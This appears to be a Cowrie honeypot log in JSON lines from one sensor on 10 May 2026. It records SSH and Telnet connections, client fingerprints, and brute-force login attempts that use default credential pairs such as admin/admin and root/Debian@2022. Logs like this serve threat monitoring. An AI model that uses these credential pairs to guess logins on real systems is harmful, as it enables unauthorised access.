{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:24.227170Z","src_ip":"130.12.180.51","session":"3cbd94483337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:24.746378Z","src_ip":"130.12.180.51","session":"3cbd94483337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":40832,"dst_ip":"10.17.0.5","dst_port":22,"session":"d77432190cfa","protocol":"ssh","message":"New connection: 74.87.117.146:40832 (10.17.0.5:22) [session: d77432190cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:02.254138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:02.258407Z","src_ip":"74.87.117.146","session":"d77432190cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:02.283137Z","src_ip":"74.87.117.146","session":"d77432190cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"gogs","message":"login attempt [admin/gogs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:02.413025Z","src_ip":"74.87.117.146","session":"d77432190cfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:03.491638Z","src_ip":"74.87.117.146","session":"d77432190cfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":26301,"dst_ip":"10.17.0.5","dst_port":22,"session":"64f097fad8f7","protocol":"ssh","message":"New connection: 193.46.255.86:26301 (10.17.0.5:22) [session: 64f097fad8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:04.497048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:04.501737Z","src_ip":"193.46.255.86","session":"64f097fad8f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:04.626374Z","src_ip":"193.46.255.86","session":"64f097fad8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"squid","message":"login attempt [squid/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:05.201148Z","src_ip":"193.46.255.86","session":"64f097fad8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"abc123","message":"login attempt [squid/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:06.332901Z","src_ip":"193.46.255.86","session":"64f097fad8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"abcd123","message":"login attempt [squid/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:07.460801Z","src_ip":"193.46.255.86","session":"64f097fad8f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":36330,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e8ad08383df","protocol":"ssh","message":"New connection: 165.227.170.113:36330 (10.17.0.5:22) [session: 6e8ad08383df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:07.632804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:07.636499Z","src_ip":"165.227.170.113","session":"6e8ad08383df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:07.715150Z","src_ip":"165.227.170.113","session":"6e8ad08383df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Debian@2022","message":"login attempt [root/Debian@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:08.064600Z","src_ip":"165.227.170.113","session":"6e8ad08383df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"abcd1234","message":"login attempt [squid/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:08.587703Z","src_ip":"193.46.255.86","session":"64f097fad8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:09.146475Z","src_ip":"165.227.170.113","session":"6e8ad08383df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"abc1234","message":"login attempt [squid/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:09.715145Z","src_ip":"193.46.255.86","session":"64f097fad8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:10.846997Z","src_ip":"193.46.255.86","session":"64f097fad8f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38242,"dst_ip":"10.17.0.5","dst_port":22,"session":"145cbf7ef164","protocol":"ssh","message":"New connection: 103.15.226.202:38242 (10.17.0.5:22) [session: 145cbf7ef164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:38.857740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:38.862212Z","src_ip":"103.15.226.202","session":"145cbf7ef164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:39.101970Z","src_ip":"103.15.226.202","session":"145cbf7ef164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123","message":"login attempt [root/ABCabc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:39.821427Z","src_ip":"103.15.226.202","session":"145cbf7ef164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:41.064805Z","src_ip":"103.15.226.202","session":"145cbf7ef164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":32142,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c1c7d6f6912","protocol":"telnet","message":"New connection: 212.55.149.117:32142 (10.17.0.5:23) [session: 8c1c7d6f6912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:50.435755Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":46394,"dst_ip":"10.17.0.5","dst_port":22,"session":"185ef5dbd870","protocol":"ssh","message":"New connection: 165.227.170.113:46394 (10.17.0.5:22) [session: 185ef5dbd870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:55.562120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:55.567394Z","src_ip":"165.227.170.113","session":"185ef5dbd870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:55.649909Z","src_ip":"165.227.170.113","session":"185ef5dbd870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"li","message":"login attempt [test/li] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:56.012035Z","src_ip":"165.227.170.113","session":"185ef5dbd870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.49.242","src_port":38512,"dst_ip":"10.17.0.5","dst_port":22,"session":"20fa1de180e3","protocol":"ssh","message":"New connection: 148.135.49.242:38512 (10.17.0.5:22) [session: 20fa1de180e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:56.816555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:56.820864Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:56.889610Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:57.096748Z","src_ip":"165.227.170.113","session":"185ef5dbd870","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:72:60:68:af:0d:69:60:ed:a0:03:09:fb:5d:a2:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxoRk8p9iBDg7nUH0OAHbmF3WvQHbyNfHrr69aJH8bTy4lLDBVzHu5bM92OA8rS1aEBZSZb+OoTQC85MPaaw8ohsMztQHZGWrPx7RVVr3qMKZBI5cI1QNIklFZp6Lm6FB7163iX8aZ7YQ7NuzEp6dTu1SCxTWOSEfs0bad/qsCcu/n7ZCSpBBlLTQirgxdafms+S9oi7DEjwA0GlCmbiGnixbhR0i7yS9c54hCuPa0DXPV03Xsa8Rtg6ywlNhI6mLg6VdbE0iJJ7eU3N8FxYh5wRCQRzb8j5Sl/f6iu1STByChymi2InozgXpP0SqKVOvp9+LRma8+rd9OWumII/X5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:72:60:68:af:0d:69:60:ed:a0:03:09:fb:5d:a2:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:57.211258Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:72:60:68:af:0d:69:60:ed:a0:03:09:fb:5d:a2:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxoRk8p9iBDg7nUH0OAHbmF3WvQHbyNfHrr69aJH8bTy4lLDBVzHu5bM92OA8rS1aEBZSZb+OoTQC85MPaaw8ohsMztQHZGWrPx7RVVr3qMKZBI5cI1QNIklFZp6Lm6FB7163iX8aZ7YQ7NuzEp6dTu1SCxTWOSEfs0bad/qsCcu/n7ZCSpBBlLTQirgxdafms+S9oi7DEjwA0GlCmbiGnixbhR0i7yS9c54hCuPa0DXPV03Xsa8Rtg6ywlNhI6mLg6VdbE0iJJ7eU3N8FxYh5wRCQRzb8j5Sl/f6iu1STByChymi2InozgXpP0SqKVOvp9+LRma8+rd9OWumII/X5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:57.215653Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:aa:d7:91:df:a4:a1:b3:e7:a7:ed:a4:80:a6:2e:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDu901M1wehtFPw2LPLk4SbVLxSQaDzET3a6RBia+q93/9KADhzRK+Pt3PyXer8yrBlyu6T1qzDbj5hI2jaUnDhrCeZXerJ1p4ovm3J+7+TVaxvWiqT+JMScOrRcw379fHTmdxrBHhrfxpVPPyqj9wpWYKNWncRdQfIcXfoX67dJiOz/o8uli/+l9nZveBQcTQMylDAtG5pp80rh0N+XvhyMvLsosljyXwpV/4SoO1G20e7TW8DdGDn/dM19dXCjJ67pabwV2RTYcCtM7GnbrSgAxWkSj/QUNyLPnwoion8OCmhZ6K8730S38JtK5CprGKUpPmM8AQ84tdfpilmjZXTwgyaiBA8h9oF+oESlx0dSK2PmXOT+Pf20G4PnPqgsSnEQ0wLWnCkHcvdIiYSS6dFvb/UypgJlyW9f9Vtx+2dWKqQg2XH2EnnYurLJxzAIRezvyELyJhFsqrcOmkBhTwQ1Aha4f7T1JLDxh1Ywzsx2HvD8eyKXszPr/QZOEsntigkWi4Pjlp2D2Lb4jOaeKuY/PiAY56OL8EbeUElutqS3dieeeBAnQWcuqVl35imsVDhlOlvKCSU0jMaNoSD1MJZokow3RZDS+Rd753hB6KKeGjARV9ZhLIZQRvtMOBihNsCW2aBQsiFUP2bOyzzDF2ocYVn2DDZ10sHLw4AHZkTkQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:aa:d7:91:df:a4:a1:b3:e7:a7:ed:a4:80:a6:2e:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:57.285383Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:aa:d7:91:df:a4:a1:b3:e7:a7:ed:a4:80:a6:2e:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDu901M1wehtFPw2LPLk4SbVLxSQaDzET3a6RBia+q93/9KADhzRK+Pt3PyXer8yrBlyu6T1qzDbj5hI2jaUnDhrCeZXerJ1p4ovm3J+7+TVaxvWiqT+JMScOrRcw379fHTmdxrBHhrfxpVPPyqj9wpWYKNWncRdQfIcXfoX67dJiOz/o8uli/+l9nZveBQcTQMylDAtG5pp80rh0N+XvhyMvLsosljyXwpV/4SoO1G20e7TW8DdGDn/dM19dXCjJ67pabwV2RTYcCtM7GnbrSgAxWkSj/QUNyLPnwoion8OCmhZ6K8730S38JtK5CprGKUpPmM8AQ84tdfpilmjZXTwgyaiBA8h9oF+oESlx0dSK2PmXOT+Pf20G4PnPqgsSnEQ0wLWnCkHcvdIiYSS6dFvb/UypgJlyW9f9Vtx+2dWKqQg2XH2EnnYurLJxzAIRezvyELyJhFsqrcOmkBhTwQ1Aha4f7T1JLDxh1Ywzsx2HvD8eyKXszPr/QZOEsntigkWi4Pjlp2D2Lb4jOaeKuY/PiAY56OL8EbeUElutqS3dieeeBAnQWcuqVl35imsVDhlOlvKCSU0jMaNoSD1MJZokow3RZDS+Rd753hB6KKeGjARV9ZhLIZQRvtMOBihNsCW2aBQsiFUP2bOyzzDF2ocYVn2DDZ10sHLw4AHZkTkQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:04:57.289162Z","src_ip":"148.135.49.242","session":"20fa1de180e3","protocol":"ssh"}
